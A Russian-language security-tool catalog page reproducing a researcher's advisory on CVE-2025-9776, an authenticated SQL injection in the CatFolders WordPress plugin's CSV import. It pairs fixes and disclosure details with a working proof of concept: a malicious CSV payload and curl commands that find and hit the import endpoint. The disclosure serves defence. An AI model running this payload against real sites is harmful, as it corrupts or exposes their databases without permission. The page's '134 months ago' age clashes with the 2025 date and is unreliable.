Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-9776 — CVE-2025-9776 — плагин CatFolders для WordPress: аутентифицированная SQL-инъекция через импорт CSV | POC + разбор | Kitploit
Инструменты/GitHubGitHub/snailsploit/cve-2025-9776
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеСтатьи и ИсследованияОбучение и Образование
GitHubsnailsploit/cve-2025-9776

CVE-2025-9776

CVE-2025-9776 — плагин CatFolders для WordPress: аутентифицированная SQL-инъекция через импорт CSV | POC + разбор

Репозиторий
134 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-9776: SQL-инъекция с аутентификацией в плагине CatFolders для WordPress

CVE CVSS Score WordPress Plugin CWE-89 Wordfence

Ключевые слова: CVE-2025-9776, CatFolders уязвимость WordPress, SQL-инъекция WordPress, SQL-инъекция с аутентификацией, безопасность WordPress, уязвимость импорта CSV, эксплойт плагина WordPress, CWE-89, атака на базу данных WordPress, уязвимость медиатеки, WordPress CVE 2025

Содержание

  • Обзор
  • Детали уязвимости
  • Технический анализ
  • Доказательство концепции
  • Руководство по устранению
  • Метрики CVSS
  • Ссылки
  • Контакт для связи по безопасности
  • Обзор

    В плагине CatFolders для WordPress обнаружена уязвимость SQL-инъекции с аутентификацией, позволяющая пользователям с уровнем доступа Автор манипулировать запросами к базе данных через вредоносный импорт CSV.

    Обнаружил: Кай Айзен (SnailSploit)
    Опубликовано: 2025
    Оценка CVSS: 6.5 (Средняя)
    CWE: CWE-89 — SQL-инъекция

    Детали уязвимости

    Описание

    CatFolders – Tame Your WordPress Media Library by Category содержит уязвимость SQL-инъекции с аутентификацией в функциональности импорта CSV. Столбец attachments из предоставленного пользователем CSV разбивается на список и передаётся напрямую в FolderModel::set_attachments(), который конкатенирует эти значения в необработанные SQL-предложения IN (...) без надлежащей санитизации или параметризации.

    Воздействие

    Эта уязвимость позволяет аутентифицированным злоумышленникам с правами не ниже Автора:

    • Выполнять произвольные SQL-запросы
    • Массово удалять или изменять привязки папок к вложениям
    • Возможное раскрытие данных в зависимости от полезной нагрузки и структуры базы данных
    • Нарушение целостности и доступности базы данных

    Затронутые версии

    • Уязвимые: Все версии ≤ 2.5.2
    • Исправленные: Версия 2.5.3 и выше (уточните у поставщика)

    Метрики CVSS v3.1

    root@kitploit:~
    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
    
    МетрикаЗначение
    Вектор атакиСеть (AV:N)
    Сложность атакиНизкая (AC:L)
    Необходимые привилегииНизкие (PR:L) — Автор+
    Взаимодействие с пользователемОтсутствует (UI:N)
    Область действияБез изменений (S:U)
    КонфиденциальностьБез потерь (C:N)
    ЦелостностьНизкая (I:L)
    ДоступностьНизкая (A:L)

    Технический анализ

    Уязвимый путь выполнения кода

    Уязвимость находится в процессе импорта CSV:

    Файл: includes/Rest/Controllers/ImportController.php

    1. Метод import_csv разбирает загруженный CSV без проверки каждого поля
    2. restore_folders() вызывает:
    root@kitploit:~
    FolderModel::set_attachments( 
        $new_folder['id'], 
        explode(',', $folder['attachments']), 
        false 
    );
    

    Файл: includes/Models/FolderModel.php

    1. set_attachments() строит необработанный SQL с помощью конкатенации строк:
    root@kitploit:~
    'raw' => 'post_id IN (' . $attachmentIds . ')'
    
    1. Каждый элемент не приводится к целому числу и не параметризуется, что позволяет внедрить SQL

    Вектор атаки

    Злоумышленник с правами Автора (возможность upload_files) может внедрить вредоносный SQL через конечную точку импорта CSV:

    Вредоносная полезная нагрузка CSV:

    root@kitploit:~
    id,name,attachments
    1,Test Folder,"1) OR 1=1--"
    

    Результирующий уязвимый запрос:

    root@kitploit:~
    SELECT folder_id FROM wp_catf_folder_posts 
    WHERE post_id IN (1) OR 1=1--)
    

    Это выходит за пределы предложения IN(...) и изменяет семантику запроса, потенциально затрагивая все строки.

    Предварительные условия

    • Учетная запись уровня Автор (или выше) на целевом сайте WordPress
    • Установленный и активный плагин CatFolders
    • Доступ к конечной точке импорта REST API

    Доказательство концепции

    Шаг 1: Обнаружение пространства имён REST

    root@kitploit:~
    curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'
    

    Типичный результат: /catf/v1/import-csv

    Шаг 2: Подготовка вредоносного CSV

    Создайте файл с именем catf_inject.csv:

    root@kitploit:~
    id,name,attachments
    1,Malicious Folder,"1) OR 1=1--"
    

    Шаг 3: Выполнение атаки

    root@kitploit:~
    NS="/catf/v1"  # Замените на обнаруженное пространство имён
    
    curl -i \
      -u 'author_user:APPLICATION_PASSWORD' \
      -F "file=@catf_inject.csv;type=text/csv" \
      -X POST "https://target.site/wp-json${NS}/import-csv"
    

    Ожидаемый ответ:

    root@kitploit:~
    { "success": true }
    

    Демонстрация воздействия

    Сервер строит и выполняет:

    root@kitploit:~
    SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)
    

    Это может привести к более масштабным операциям DELETE/INSERT, чем предполагалось, часто уничтожая связи папка-вложение во всей базе данных.

    Безопасная среда тестирования

    Запустите автономную симуляцию SQLite, чтобы безопасно наблюдать уязвимость:

    root@kitploit:~
    python3 poc/catfolders_sql_poc.py
    

    Это выводит уязвимый запрос и показывает, как вредоносный токен возвращает все строки, тогда как параметризованная версия его правильно отклоняет.

    Устранение

    Для администраторов сайта

    Необходимые немедленные действия:

    1. Обновите CatFolders до версии 2.5.3 или новее
    2. Проверьте учетные записи пользователей с правами Автора или выше
    3. Проверьте журналы базы данных на наличие подозрительных запросов в период с момента публикации
    4. Проверьте привязки папок к вложениям на предмет неожиданных изменений

    Для разработчиков

    Два минимальных шага по укреплению безопасности:

    1. Санитизация ID перед вызовом модели

    root@kitploit:~
    - FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
    + $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
    + if ( ! empty( $ids ) ) {
    +     FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
    + }
    

    2. Приведение к целым числам внутри set_attachments()

    root@kitploit:~
      $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
    + $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );
    

    Более сильная рекомендация

    Замените всю конкатенацию необработанного SQL на параметризованные запросы с использованием $wpdb->prepare() WordPress:

    root@kitploit:~
    $placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
    $query = $wpdb->prepare(
        "SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
        ...$imgIds
    );
    

    Дополнительно:

    • Строго проверяйте все поля CSV перед обработкой
    • Внедрите проверку типа входных данных на уровне API
    • Добавьте ограничение скорости на конечную точку импорта
    • Логируйте все операции импорта для аудита

    Файл исправления

    Полный патч доступен в patch/catfolders_fix.patch

    Структура репозитория

    root@kitploit:~
    CVE-2025-9776/
    ├── README.md                    # Этот файл
    ├── poc/
    │   ├── catf_inject.csv         # Вредоносная полезная нагрузка CSV
    │   └── catfolders_sql_poc.py   # Безопасная симуляция SQLite
    └── patch/
        └── catfolders_fix.patch    # Рекомендуемые исправления
    

    Хронология

    • Дата обнаружения: 2025
    • Уведомление поставщика: Координированное раскрытие через Wordfence
    • Публичное раскрытие: 2025
    • Доступен патч: Версия 2.5.3

    Ссылки

    • Запись CVE в MITRE
    • Консультация Wordfence Intelligence
    • Каталог плагинов WordPress
    • Исследования SnailSploit

    Благодарности

    Исследователь: Кай Айзен (SnailSploit)

    Процесс раскрытия: Координировано через программу Bug Bounty Wordfence

    Этические соображения

    ⚠️ ВАЖНОЕ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ

    Это доказательство концепции предоставлено исключительно для защитных исследований и образовательных целей.

    Рекомендации по использованию

    • ✅ МОЖНО: Тестировать на своих системах или с явным письменным разрешением
    • ✅ МОЖНО: Использовать для обучения и повышения осведомленности в области безопасности
    • ✅ МОЖНО: Внедрять исправления в свой собственный код
    • ❌ НЕЛЬЗЯ: Тестировать на системах без разрешения
    • ❌ НЕЛЬЗЯ: Использовать в злонамеренных целях
    • ❌ НЕЛЬЗЯ: Эксплуатировать в производственных средах

    Правовое уведомление

    Несанкционированный доступ к компьютерным системам является незаконным в соответствии с законами, включая:

    • Закон о компьютерном мошенничестве и злоупотреблениях (CFAA) — США
    • Закон о компьютерных злоупотреблениях (Computer Misuse Act) — Великобритания
    • Аналогичное законодательство в других юрисдикциях

    Используйте на свой страх и риск. Исследователи и SnailSploit не несут ответственности за неправильное использование этой информации.

    Контакты

    По вопросам или за дополнительной информацией об этой уязвимости:

    • Эл. почта: [email protected]
    • LinkedIn: linkedin.com/in/kaiaizen
    • Веб-сайт: snailsploit.com
    • Организация: SnailSploit Security Research

    Будьте в безопасности и поддерживайте свои установки WordPress в актуальном состоянии!

    Последнее обновление: 13 октября 2025 г.


    📚 Документация и автор

    Полное описание этого проекта, методология и связанные исследования находятся по адресу:

    https://snailsploit.com/security-research/cves/cve-2025-9776/

    Создано Кайем Айзеном — независимым исследователем в области безопасности.

    snailsploit.com · Исследования · Фреймворки · GitHub · LinkedIn · ResearchGate · X/Twitter

    Та же атака. Другая среда.

    Скачать инструмент